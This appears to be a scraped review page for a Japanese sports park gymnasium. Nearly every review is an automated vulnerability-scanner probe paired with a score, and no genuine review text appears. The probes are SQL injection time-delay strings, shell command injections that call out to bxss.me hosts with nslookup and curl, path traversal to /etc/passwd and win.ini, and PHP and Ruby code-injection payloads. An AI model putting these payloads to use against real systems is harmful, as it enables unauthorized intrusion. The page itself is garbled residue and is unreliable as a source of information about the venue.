ふるさとの森スポーツパーク体育館

• 0.25

(select 198766*667891 from DUAL)

• 0.25

(select 198766*667891)

• 0.25

@@tbmsd

• 0.25

'"

• 0.25

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.25

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.25

rmpRO55y')) OR 828=(SELECT 828 FROM PG_SLEEP(7))--

• 0.25

KdFmiNRk')) OR 200=(SELECT 200 FROM PG_SLEEP(3))--

• 0.25

RydqwnDG')) OR 250=(SELECT 250 FROM PG_SLEEP(15))--

• 0.25

q8q2PfNt') OR 706=(SELECT 706 FROM PG_SLEEP(15))--

• 0.25

yPvJVtli' OR 56=(SELECT 56 FROM PG_SLEEP(15))--

• 0.25

-1)) OR 871=(SELECT 871 FROM PG_SLEEP(15))--

• 0.25

-1) OR 277=(SELECT 277 FROM PG_SLEEP(3))--

• 0.50

`(nslookup -q=cname hitbmhyvnplwp9fd5c.bxss.me||curl hitbmhyvnplwp9fd5c.bxss.me)`

• 0.25

-1) OR 579=(SELECT 579 FROM PG_SLEEP(15))--

• 0.50

&(nslookup${IFS}-q${IFS}cname${IFS}hitpcqfaitimr4030f.bxss.me||curl${IFS}hitpcqfaitimr4030f.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitpcqfaitimr4030f.bxss.me||curl${IFS}hitpcqfaitimr4030f.bxss.me)&`'

• 0.50

|(nslookup -q=cname hitjrraxekrvp0fbd3.bxss.me||curl hitjrraxekrvp0fbd3.bxss.me)

• 0.50

$(nslookup -q=cname hitzzuqpdjjyya2618.bxss.me||curl hitzzuqpdjjyya2618.bxss.me)

• 0.50

|(nslookup${IFS}-q${IFS}cname${IFS}hitnkgywlxlthe1e4f.bxss.me||curl${IFS}hitnkgywlxlthe1e4f.bxss.me)

• 0.25

-1 OR 195=(SELECT 195 FROM PG_SLEEP(15))--

• 0.25

ZFODT8fd'; waitfor delay '0:0:15' --

• 0.50

'+response.write(9530136*9125250)+'

• 0.50

(nslookup -q=cname hitclxojbrtjpc5375.bxss.me||curl hitclxojbrtjpc5375.bxss.me))

• 0.50

expr 9000179609 - 920977

• 0.50

&(nslookup -q=cname hitlqrtjkehsy07c33.bxss.me||curl hitlqrtjkehsy07c33.bxss.me)&'\"`0&(nslookup -q=cname hitlqrtjkehsy07c33.bxss.me||curl hitlqrtjkehsy07c33.bxss.me)&`'

• 0.50

9518075

• 0.50

&echo rlvmcp$()\ pwiqci\nz^xyu||a #' &echo rlvmcp$()\ pwiqci\nz^xyu||a #|" &echo rlvmcp$()\ pwiqci\nz^xyu||a #

• 0.50

echo pedoyk$()\ lcheuy\nz^xyu||a #' &echo pedoyk$()\ lcheuy\nz^xyu||a #|" &echo pedoyk$()\ lcheuy\nz^xyu||a #

• 0.50

'"()&%26lx(9121)

• 0.50

c:/windows/win.ini

• 0.25

|(nslookup${IFS}-q${IFS}cname${IFS}hitleiapkbxwac0765.bxss.me||curl${IFS}hitleiapkbxwac0765.bxss.me)

• 0.50

/etc/shells

• 0.50

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.25

@@UFEFq

• 0.25

|(nslookup -q=cname hitbwgrxsrgle5c55e.bxss.me||curl hitbwgrxsrgle5c55e.bxss.me)

• 0.00

&(nslookup -q=cname hitudiwbggajrde5a8.bxss.me||curl hitudiwbggajrde5a8.bxss.me)&'\"`0&(nslookup -q=cname hitudiwbggajrde5a8.bxss.me||curl hitudiwbggajrde5a8.bxss.me)&`'

• 0.50

"+"A".concat(70-3).concat(22*4).concat(99).concat(67).concat(118).concat(76)+(require"socket"
Socket.gethostbyname("hitmu"+"gncmqlfw899a4.bxss.me.")[3].to_s)+"

• 0.25

$(nslookup -q=cname hitzrnkyvxjmba1717.bxss.me||curl hitzrnkyvxjmba1717.bxss.me)

• 0.50

;(nslookup -q=cname hitjcmuhgwspt79c37.bxss.me||curl hitjcmuhgwspt79c37.bxss.me)|(nslookup -q=cname hitjcmuhgwspt79c37.bxss.me||curl hitjcmuhgwspt79c37.bxss.me)&(nslookup -q=cname hitjcmuhgwspt79c37.bxss.me||curl hitjcmuhgwspt79c37.bxss.me)

• 0.50

&nslookup -q=cname hitoqalgpqqrg3d78e.bxss.me&'\"`0&nslookup -q=cname hitoqalgpqqrg3d78e.bxss.me&`'

• 0.50

|echo osiydz$()\ pooblw\nz^xyu||a #' |echo osiydz$()\ pooblw\nz^xyu||a #|" |echo osiydz$()\ pooblw\nz^xyu||a #

• 0.50

place_reviews

• 0.50

'A'.concat(70-3).concat(22*4).concat(117).concat(69).concat(116).concat(71)+(require'socket'
Socket.gethostbyname('hitci'+'cgvezmjs2dc85.bxss.me.')[3].to_s)

• 0.25

-1' OR 5*5=25 or 'AnZOOtkS'='

• 0.25

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.50

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.25

&echo iondme$()\ lkeejo\nz^xyu||a #' &echo iondme$()\ lkeejo\nz^xyu||a #|" &echo iondme$()\ lkeejo\nz^xyu||a #

• 0.25

-1 waitfor delay '0:0:15' --

• 0.25

&(nslookup${IFS}-q${IFS}cname${IFS}hitjrfnvpctrsca684.bxss.me||curl${IFS}hitjrfnvpctrsca684.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitjrfnvpctrsca684.bxss.me||curl${IFS}hitjrfnvpctrsca684.bxss.me)&`'

• 0.50

';print(md5(31337));$a='

• 0.50

"&&sleep(27*1000)*bxvufk&&"

• 0.25

'"

• 0.25

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.25

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.50

'"()&%26lx(9973)

• 0.50

'"

• 0.50

'.print(md5(31337)).'

• 0.50

place_reviews/.

• 0.50

${@print(md5(31337))}

• 0.50

../../../../../../../../../../../../../../etc/shells

• 0.25

(select 198766*667891)

• 0.00

"||sleep(27*1000)*vylnjp||"

• 0.25

-1 OR 5*5=25 --

• 0.50

response.write(9530136*9125250)

• 0.50

${@print(md5(31337))}\

• 0.50

".gethostbyname(lc("hitbq"."yvdhqfmy715e5.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(68).chr(97).chr(80)."

• 0.50

bxss.me

• 0.50

../

• 0.25

;(nslookup -q=cname hitxqiredwwrxfc512.bxss.me||curl hitxqiredwwrxfc512.bxss.me)|(nslookup -q=cname hitxqiredwwrxfc512.bxss.me||curl hitxqiredwwrxfc512.bxss.me)&(nslookup -q=cname hitxqiredwwrxfc512.bxss.me||curl hitxqiredwwrxfc512.bxss.me)

• 0.25

(select 198766*667891 from DUAL)

• 0.25

`(nslookup -q=cname hitqllpiwvhyy77304.bxss.me||curl hitqllpiwvhyy77304.bxss.me)`

• 0.25

-1; waitfor delay '0:0:15' --

• 0.50

bxss.me/t/xss.html?%00

• 0.50

'+'A'.concat(70-3).concat(22*4).concat(111).concat(89).concat(110).concat(72)+(require'socket'
Socket.gethostbyname('hitsd'+'bovqszie0dbb6.bxss.me.')[3].to_s)+'

• 0.50

'"()

• 0.25

-1" OR 5*5=25 or "Vbbv7l4B"="

• 0.25

(nslookup -q=cname hittvkyiicnssef6f8.bxss.me||curl hittvkyiicnssef6f8.bxss.me))

• 0.50

file:///etc/passwd

• 0.50

"+response.write(9530136*9125250)+"

• 0.50

• 0.50

gethostbyname(lc('hitdg'.'rffwlxii5ea8b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(68).chr(118).chr(65)

• 0.50

Http://bxss.me/t/fit.txt

• 0.50

'.gethostbyname(lc('hitoc'.'kxwjwsgw20ede.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(70).chr(107).chr(84).'

• 0.50

'||sleep(27*1000)*duotti||'

• 0.50

HttP://bxss.me/t/xss.html?%00

• 0.50

'&&sleep(27*1000)*ohygpy&&'

• 0.25

&nslookup -q=cname hitbsmsbwirxyb941f.bxss.me&'\"`0&nslookup -q=cname hitbsmsbwirxyb941f.bxss.me&`'

• 0.25

expr 9000283532 - 974326

• 0.25

-1" OR 5*5=25 --

• 0.25

|echo eiwpmo$()\ frqqsk\nz^xyu||a #' |echo eiwpmo$()\ frqqsk\nz^xyu||a #|" |echo eiwpmo$()\ frqqsk\nz^xyu||a #

• 0.25

-1' OR 5*5=25 --

• 0.50

../../../../../../../../../../../../../../windows/win.ini

• 0.50

../../../../../../../../../../../../../../etc/passwd

• 0.50

";print(md5(31337));$a="

• 0.25

-1); waitfor delay '0:0:15' --

• 0.25

-1 OR 5*5=25

• 0.00

echo tpqsyl$()\ vzyjpi\nz^xyu||a #' &echo tpqsyl$()\ vzyjpi\nz^xyu||a #|" &echo tpqsyl$()\ vzyjpi\nz^xyu||a #

• 0.25

*if(now()=sysdate(),sleep(15),0)

• 0.25

40EJFbPI

• 0.50

${9999021+9999139}

• 0.25

-1" OR 5*5=25 or "SD5xOQHU"="

• 0.50

^(#$!@#$)(()))******

• 0.25

-1' OR 5*5=25 or '5hP2qpO9'='

• 0.25

-1" OR 5*5=25 --

• 0.50

)

• 0.50

!(()&&!|*|*|

• 0.25

-1' OR 5*5=25 --

• 0.25

-1 OR 5*5=25

• 0.25

-1 OR 5*5=25 --

• 0.25

'.print(md5(31337)).'

• 0.50

redirtest.acx

• 0.25

Http://bxss.me/t/fit.txt

• 0.25

yYp6xAr4

• 0.25

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.25

bxss.me

• 0.25

'+response.write(9863872*9492748)+'

• 0.25

c:/windows/win.ini

• 0.25

9741999

• 0.25

".gethostbyname(lc("hitcc"."tltxmresc24d8.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(85).chr(111).chr(69)."

• 0.25

• 0.25

../

• 0.25

'&&sleep(27*1000)*sxkpda&&'

• 0.25

"||sleep(27*1000)*ajpcas||"

• 0.25

"&&sleep(27*1000)*ohytws&&"

• 0.25

place_reviews/.

• 0.25

file:///etc/passwd

• 0.25

place_reviews

• 0.25

'+'A'.concat(70-3).concat(22*4).concat(111).concat(79).concat(119).concat(78)+(require'socket'
Socket.gethostbyname('hitkx'+'badyxhfwe4538.bxss.me.')[3].to_s)+'

• 0.25

${@print(md5(31337))}\

• 0.25

'"()&%Vr4Z(9304)

• 0.25

'||sleep(27*1000)*tlpoxg||'

• 0.25

'"

• 0.25

'"()

• 0.25

../../../../../../../../../../../../../../etc/passwd

• 0.25

bxss.me/t/xss.html?%00

• 0.25

/etc/shells

• 0.25

"+response.write(9863872*9492748)+"

• 0.25

'"()&%Vr4Z(9096)

• 0.25

response.write(9863872*9492748)

• 0.25

../../../../../../../../../../../../../../windows/win.ini

• 0.25

"+"A".concat(70-3).concat(22*4).concat(110).concat(87).concat(108).concat(81)+(require"socket"
Socket.gethostbyname("hitoa"+"ernxtkoh85f6f.bxss.me.")[3].to_s)+"

• 0.25

HttP://bxss.me/t/xss.html?%00

• 0.25

'A'.concat(70-3).concat(22*4).concat(115).concat(73).concat(118).concat(76)+(require'socket'
Socket.gethostbyname('hitct'+'qksfsias01e2a.bxss.me.')[3].to_s)

• 0.25

&(nslookup${IFS}-q${IFS}cname${IFS}hitfsuvddzvnc2b0a0.bxss.me||curl${IFS}hitfsuvddzvnc2b0a0.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitfsuvddzvnc2b0a0.bxss.me||curl${IFS}hitfsuvddzvnc2b0a0.bxss.me)&`'

• 0.25

${10000257+9999259}

• 0.25

${@print(md5(31337))}

• 0.25

../../../../../../../../../../../../../../etc/shells

• 0.25

";print(md5(31337));$a="

• 0.25

';print(md5(31337));$a='

• 0.25

|(nslookup${IFS}-q${IFS}cname${IFS}hityarbdayskq4c3c0.bxss.me||curl${IFS}hityarbdayskq4c3c0.bxss.me)

• 0.25

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.25

&nslookup -q=cname hitbyhamgyonm7c8bc.bxss.me&'\"`0&nslookup -q=cname hitbyhamgyonm7c8bc.bxss.me&`'

• 0.25

gethostbyname(lc('hitwv'.'vdggpbip5a5c4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(81).chr(110).chr(87)

• 0.25

'.gethostbyname(lc('hitiq'.'vptfeqpnf129a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(70).chr(121).chr(66).'

• 0.25

(nslookup -q=cname hitizzgibkpry49aba.bxss.me||curl hitizzgibkpry49aba.bxss.me))

• 0.25

expr 9000192672 - 918459

• 0.25

echo vlmhtq$()\ xllqlm\nz^xyu||a #' &echo vlmhtq$()\ xllqlm\nz^xyu||a #|" &echo vlmhtq$()\ xllqlm\nz^xyu||a #

• 0.25

^(#$!@#$)(()))******

• 0.00

(select 198766*667891)

• 0.00

'"

• 0.00

-1" OR 5*5=25 or "IxArENKQ"="

• 0.25

`(nslookup -q=cname hitookyswyayr27c63.bxss.me||curl hitookyswyayr27c63.bxss.me)`

• 0.25

$(nslookup -q=cname hituhobfzrvvz31efd.bxss.me||curl hituhobfzrvvz31efd.bxss.me)

• 0.25

|echo gnneme$()\ tfuroa\nz^xyu||a #' |echo gnneme$()\ tfuroa\nz^xyu||a #|" |echo gnneme$()\ tfuroa\nz^xyu||a #

• 0.00

(select 198766*667891 from DUAL)

• 0.25

!(()&&!|*|*|

• 0.00

@@WQeeN

• 0.25

9857217

• 0.25

'"()&%3m57(9880)

• 0.25

redirtest.acx

• 0.25

"+response.write(9979989*9926623)+"

• 0.00

-1' OR 5*5=25 or 'S7yYZYyL'='

• 0.25

'"()&%3m57(9066)

• 0.00

-1" OR 5*5=25 --

• 0.25

bxss.me

• 0.25

gethostbyname(lc('hitpg'.'dczjbsvl6070d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(84).chr(105).chr(72)

• 0.25

response.write(9979989*9926623)

• 0.25

'.print(md5(31337)).'

• 0.25

c:/windows/win.ini

• 0.25

;(nslookup -q=cname hitbazgfoalex2ca49.bxss.me||curl hitbazgfoalex2ca49.bxss.me)|(nslookup -q=cname hitbazgfoalex2ca49.bxss.me||curl hitbazgfoalex2ca49.bxss.me)&(nslookup -q=cname hitbazgfoalex2ca49.bxss.me||curl hitbazgfoalex2ca49.bxss.me)

• 0.25

|(nslookup -q=cname hitujhcngiyht515fc.bxss.me||curl hitujhcngiyht515fc.bxss.me)

• 0.25

&(nslookup -q=cname hitakxamzrvdrb15f0.bxss.me||curl hitakxamzrvdrb15f0.bxss.me)&'\"`0&(nslookup -q=cname hitakxamzrvdrb15f0.bxss.me||curl hitakxamzrvdrb15f0.bxss.me)&`'

• 0.25

)

• 0.25

${@print(md5(31337))}\

• 0.25

'.gethostbyname(lc('hitii'.'xuyjtzgy4545f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(72).chr(112).chr(75).'

• 0.25

&echo qqviij$()\ cjdogp\nz^xyu||a #' &echo qqviij$()\ cjdogp\nz^xyu||a #|" &echo qqviij$()\ cjdogp\nz^xyu||a #

• 0.00

-1 OR 5*5=25 --

• 0.25

";print(md5(31337));$a="

• 0.25

Http://bxss.me/t/fit.txt

• 0.25

'+response.write(9979989*9926623)+'

• 0.00

-1' OR 5*5=25 --

• 0.25

".gethostbyname(lc("hitjm"."tovomntub580b.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(80).chr(122).chr(66)."

• 0.00

-1 OR 5*5=25

• 0.25

../../../../../../../../../../../../../../etc/shells

• 0.25

${@print(md5(31337))}

• 0.25

/etc/shells

• 0.25

• 0.25

'"

• 0.25

";print(md5(31337));$a="

• 0.25

";print(md5(31337));$a="

• 0.25

';print(md5(31337));$a='

• 0.25

place_reviews/.

• 0.25

HttP://bxss.me/t/xss.html?%00

• 0.25

place_reviews

• 0.25

'&&sleep(27*1000)*lypobo&&'

• 0.25

bxss.me/t/xss.html?%00

• 0.25

'"()

• 0.25

'+'A'.concat(70-3).concat(22*4).concat(117).concat(89).concat(109).concat(74)+(require'socket'
Socket.gethostbyname('hitlw'+'epryveys28899.bxss.me.')[3].to_s)+'

• 0.25

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.25

'||sleep(27*1000)*qsrjxu||'

• 0.25

'A'.concat(70-3).concat(22*4).concat(108).concat(70).concat(110).concat(74)+(require'socket'
Socket.gethostbyname('hitwj'+'whhionkv3f9b1.bxss.me.')[3].to_s)

• 0.25

../

• 0.25

../../../../../../../../../../../../../../windows/win.ini

• 0.25

expr 9000220817 - 973320

• 0.00

EDQ2J6P2

• 0.25

file:///etc/passwd

• 0.25

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.25

../../../../../../../../../../../../../../etc/passwd

• 0.25

;(nslookup -q=cname hitydzkjiiwoe9f55a.bxss.me||curl hitydzkjiiwoe9f55a.bxss.me)|(nslookup -q=cname hitydzkjiiwoe9f55a.bxss.me||curl hitydzkjiiwoe9f55a.bxss.me)&(nslookup -q=cname hitydzkjiiwoe9f55a.bxss.me||curl hitydzkjiiwoe9f55a.bxss.me)

• 0.25

`(nslookup -q=cname hitpbzqwxenuz30133.bxss.me||curl hitpbzqwxenuz30133.bxss.me)`

• 0.25

${@print(md5(31337))}\

• 0.25

bxss.me

• 0.25

&echo enpvtd$()\ odxbww\nz^xyu||a #' &echo enpvtd$()\ odxbww\nz^xyu||a #|" &echo enpvtd$()\ odxbww\nz^xyu||a #

• 0.25

'"

• 0.25

&(nslookup${IFS}-q${IFS}cname${IFS}hitzmzximkzxqb8211.bxss.me||curl${IFS}hitzmzximkzxqb8211.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitzmzximkzxqb8211.bxss.me||curl${IFS}hitzmzximkzxqb8211.bxss.me)&`'

• 0.25

".gethostbyname(lc("hitsf"."lxvraxwedadb4.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(68).chr(122).chr(88)."

• 0.25

'.gethostbyname(lc('hitzt'.'fthapykxde505.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(67).chr(122).chr(72).'

• 0.25

"&&sleep(27*1000)*ktvvmw&&"

• 0.25

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.25

• 0.25

gethostbyname(lc('hitdm'.'yegsygaada3e5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(67).chr(109).chr(74)

• 0.25

place_reviews/.

• 0.25

"||sleep(27*1000)*jdkahc||"

• 0.25

;(nslookup -q=cname hitfmkllwngslf7c8e.bxss.me||curl hitfmkllwngslf7c8e.bxss.me)|(nslookup -q=cname hitfmkllwngslf7c8e.bxss.me||curl hitfmkllwngslf7c8e.bxss.me)&(nslookup -q=cname hitfmkllwngslf7c8e.bxss.me||curl hitfmkllwngslf7c8e.bxss.me)

• 0.25

bxss.me/t/xss.html?%00

• 0.25

'&&sleep(27*1000)*qrxotd&&'

• 0.25

'A'.concat(70-3).concat(22*4).concat(105).concat(78).concat(121).concat(65)+(require'socket'
Socket.gethostbyname('hitvy'+'yferyctr9e18b.bxss.me.')[3].to_s)

• 0.25

|(nslookup -q=cname hitfcfjfhvqpt4b6ca.bxss.me||curl hitfcfjfhvqpt4b6ca.bxss.me)

• 0.25

&(nslookup -q=cname hitoffyqxfjyoc0d65.bxss.me||curl hitoffyqxfjyoc0d65.bxss.me)&'\"`0&(nslookup -q=cname hitoffyqxfjyoc0d65.bxss.me||curl hitoffyqxfjyoc0d65.bxss.me)&`'

• 0.25

$(nslookup -q=cname hitdmmqqsthtk75cdb.bxss.me||curl hitdmmqqsthtk75cdb.bxss.me)

• 0.25

(nslookup -q=cname hitopspsobcbree6e9.bxss.me||curl hitopspsobcbree6e9.bxss.me))

• 0.25

"+response.write(9702592*9555913)+"

• 0.25

'.print(md5(31337)).'

• 0.25

${@print(md5(31337))}

• 0.25

";print(md5(31337));$a="

• 0.25

../../../../../../../../../../../../../../etc/shells

• 0.25

';print(md5(31337));$a='

• 0.25

HttP://bxss.me/t/xss.html?%00

• 0.25

'"()

• 0.25

'+'A'.concat(70-3).concat(22*4).concat(120).concat(80).concat(110).concat(79)+(require'socket'
Socket.gethostbyname('hitua'+'vklzjkbw4dfc3.bxss.me.')[3].to_s)+'

• 0.25

"+"A".concat(70-3).concat(22*4).concat(113).concat(70).concat(105).concat(77)+(require"socket"
Socket.gethostbyname("hitdi"+"oretmgud266f6.bxss.me.")[3].to_s)+"

• 0.25

(nslookup -q=cname hitzekwnfvrjx152c7.bxss.me||curl hitzekwnfvrjx152c7.bxss.me))

• 0.25

${9999727+9999376}

• 0.25

^(#$!@#$)(()))******

• 0.25

!(()&&!|*|*|

• 0.25

&(nslookup${IFS}-q${IFS}cname${IFS}hitsdkiibidkf0d6c9.bxss.me||curl${IFS}hitsdkiibidkf0d6c9.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitsdkiibidkf0d6c9.bxss.me||curl${IFS}hitsdkiibidkf0d6c9.bxss.me)&`'

• 0.25

)

• 0.25

|(nslookup${IFS}-q${IFS}cname${IFS}hitjpgchiizrga6772.bxss.me||curl${IFS}hitjpgchiizrga6772.bxss.me)

• 0.25

|(nslookup -q=cname hithmbjpcyram803a3.bxss.me||curl hithmbjpcyram803a3.bxss.me)

• 0.25

&(nslookup -q=cname hitgmnhnpvfja48ae5.bxss.me||curl hitgmnhnpvfja48ae5.bxss.me)&'\"`0&(nslookup -q=cname hitgmnhnpvfja48ae5.bxss.me||curl hitgmnhnpvfja48ae5.bxss.me)&`'

• 0.25

&nslookup -q=cname hitjsehnihkfx26cab.bxss.me&'\"`0&nslookup -q=cname hitjsehnihkfx26cab.bxss.me&`'

• 0.25

'+response.write(9702592*9555913)+'

• 0.25

c:/windows/win.ini

• 0.25

echo qubcja$()\ tenbrx\nz^xyu||a #' &echo qubcja$()\ tenbrx\nz^xyu||a #|" &echo qubcja$()\ tenbrx\nz^xyu||a #

• 0.25

'"()&%iAmo(9067)

• 0.25

/etc/shells

• 0.25

place_reviews

• 0.25

`(nslookup -q=cname hitwyckqfkqrmcddcb.bxss.me||curl hitwyckqfkqrmcddcb.bxss.me)`

• 0.25

expr 9000718760 - 959410

• 0.25

redirtest.acx

• 0.25

response.write(9702592*9555913)

• 0.25

'"()&%iAmo(9673)

• 0.25

|echo tbexen$()\ wvpkfx\nz^xyu||a #' |echo tbexen$()\ wvpkfx\nz^xyu||a #|" |echo tbexen$()\ wvpkfx\nz^xyu||a #

• 0.25

"||sleep(27*1000)*zsakxp||"

• 0.25

"&&sleep(27*1000)*khqxmm&&"

• 0.25

"+"A".concat(70-3).concat(22*4).concat(101).concat(75).concat(119).concat(87)+(require"socket"
Socket.gethostbyname("hitwi"+"axthuoat7e4c0.bxss.me.")[3].to_s)+"

• 0.25

9225197

• 0.25

Http://bxss.me/t/fit.txt

• 0.25

|echo iomkqo$()\ ejplsh\nz^xyu||a #' |echo iomkqo$()\ ejplsh\nz^xyu||a #|" |echo iomkqo$()\ ejplsh\nz^xyu||a #

• 0.25

|(nslookup${IFS}-q${IFS}cname${IFS}hitwobqrqxybh966d2.bxss.me||curl${IFS}hitwobqrqxybh966d2.bxss.me)

• 0.25

'||sleep(27*1000)*hgukoe||'

• 0.25

&nslookup -q=cname hitubyoiaikvg9c37a.bxss.me&'\"`0&nslookup -q=cname hitubyoiaikvg9c37a.bxss.me&`'

• 0.25

$(nslookup -q=cname hitzqtdrcudqc07303.bxss.me||curl hitzqtdrcudqc07303.bxss.me)

• 0.25

../

• 0.00

file:///etc/passwd

• 0.25

../../../../../../../../../../../../../../windows/win.ini

• 0.25

../../../../../../../../../../../../../../etc/passwd

• 0.00

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.25

&echo sgvnmi$()\ kubgbh\nz^xyu||a #' &echo sgvnmi$()\ kubgbh\nz^xyu||a #|" &echo sgvnmi$()\ kubgbh\nz^xyu||a #

• 0.25

echo efpptl$()\ oysolv\nz^xyu||a #' &echo efpptl$()\ oysolv\nz^xyu||a #|" &echo efpptl$()\ oysolv\nz^xyu||a #

• 0.25

${10000282+9999867}

• 0.25

Http://bxss.me/t/fit.txt

• 0.25

"+response.write(9653384*9199759)+"

• 0.25

bxss.me

• 0.25

^(#$!@#$)(()))******

• 0.25

response.write(9653384*9199759)

• 0.25

../../../../../../../../../../../../../../etc/shells

• 0.25

)

• 0.25

9204677

• 0.25

'.print(md5(31337)).'

• 0.25

/etc/shells

• 0.25

${@print(md5(31337))}\

• 0.25

';print(md5(31337));$a='

• 0.25

";print(md5(31337));$a="

• 0.25

'"()&%jVrQ(9337)

• 0.25

gethostbyname(lc('hittj'.'wbuudykh3bfac.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(71).chr(104).chr(66)

• 0.25

${@print(md5(31337))}

• 0.25

'||sleep(27*1000)*jnktce||'

• 0.25

"&&sleep(27*1000)*ozwttg&&"

• 0.25

'&&sleep(27*1000)*ftyrzx&&'

• 0.25

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.25

'"()

• 0.25

'+response.write(9653384*9199759)+'

• 0.25

c:/windows/win.ini

• 0.25

!(()&&!|*|*|

• 0.25

redirtest.acx

• 0.25

'"()&%jVrQ(9240)

• 0.25

"||sleep(27*1000)*qyjxan||"

• 0.25

'"

• 0.25

bxss.me/t/xss.html?%00

• 0.25

'.gethostbyname(lc('hitic'.'qigfobeqcac48.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(84).chr(103).chr(80).'

• 0.25

../

• 0.25

file:///etc/passwd

• 0.25

../../../../../../../../../../../../../../windows/win.ini

• 0.25

• 0.25

place_reviews/.

• 0.25

place_reviews

• 0.25

../../../../../../../../../../../../../../etc/passwd

• 0.25

"+"A".concat(70-3).concat(22*4).concat(104).concat(86).concat(106).concat(69)+(require"socket"
Socket.gethostbyname("hitsx"+"jygwutmc6ec8f.bxss.me.")[3].to_s)+"

• 0.25

^(#$!@#$)(()))******

• 0.25

${10000485+10000171}

• 0.25

'A'.concat(70-3).concat(22*4).concat(118).concat(69).concat(110).concat(78)+(require'socket'
Socket.gethostbyname('hitan'+'jgqvqthi54e2d.bxss.me.')[3].to_s)

• 0.25

HttP://bxss.me/t/xss.html?%00

• 0.25

'+'A'.concat(70-3).concat(22*4).concat(113).concat(68).concat(110).concat(81)+(require'socket'
Socket.gethostbyname('hitcj'+'jcbnfamaa8a1e.bxss.me.')[3].to_s)+'

• 0.25

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.25

!(()&&!|*|*|

• 0.25

)

• 0.00

"+response.write(9917566*9708727)+"

• 0.00

'+response.write(9917566*9708727)+'

• 0.25

redirtest.acx

• 0.00

response.write(9917566*9708727)

• 0.00

'.gethostbyname(lc('hitka'.'koevfmfza76a2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(80).chr(113).chr(66).'

• 0.00

'"()&%pQ1A(9183)

• 0.00

'"()&%pQ1A(9832)

• 0.00

echo kmhdio$()\ mkqsyr\nz^xyu||a #' &echo kmhdio$()\ mkqsyr\nz^xyu||a #|" &echo kmhdio$()\ mkqsyr\nz^xyu||a #

• 0.00

${@print(md5(31337))}

• 0.00

place_reviews/.

• 0.00

'.print(md5(31337)).'

• 0.00

';print(md5(31337));$a='

• 0.00

bxss.me

• 0.00

9547143

• 0.00

../../../../../../../../../../../../../../etc/shells

• 0.00

${@print(md5(31337))}\

• 0.00

/etc/shells

• 0.00

";print(md5(31337));$a="

• 0.00

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.00

'A'.concat(70-3).concat(22*4).concat(111).concat(66).concat(109).concat(70)+(require'socket'
Socket.gethostbyname('hitxp'+'ntzmuamkae2db.bxss.me.')[3].to_s)

• 0.00

'"

• 0.00

bxss.me/t/xss.html?%00

• 0.00

../

• 0.00

file:///etc/passwd

• 0.00

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.00

place_reviews

• 0.00

"&&sleep(27*1000)*dzohhl&&"

• 0.00

'&&sleep(27*1000)*mprykw&&'

• 0.00

${9999224+10000077}

• 0.00

'+'A'.concat(70-3).concat(22*4).concat(110).concat(79).concat(118).concat(74)+(require'socket'
Socket.gethostbyname('hitpt'+'wwxpguii77cb6.bxss.me.')[3].to_s)+'

• 0.00

HttP://bxss.me/t/xss.html?%00

• 0.00

"+"A".concat(70-3).concat(22*4).concat(108).concat(72).concat(122).concat(68)+(require"socket"
Socket.gethostbyname("hithn"+"jfpdslbkb5e63.bxss.me.")[3].to_s)+"

• 0.00

../../../../../../../../../../../../../../etc/passwd

• 0.00

^(#$!@#$)(()))******

• 0.00

redirtest.acx

• 0.00

Http://bxss.me/t/fit.txt

• 0.00

c:/windows/win.ini

• 0.00

"||sleep(27*1000)*qggabv||"

• 0.00

'||sleep(27*1000)*cievrx||'

• 0.00

'"()

• 0.00

../../../../../../../../../../../../../../windows/win.ini

• 0.00

!(()&&!|*|*|

• 0.00

)

• 0.00

1TODKM3M80

• 0.50

(select 198766*667891)

• 0.50

@@aV8LF

• 0.50

(select 198766*667891 from DUAL)

• 0.50

'"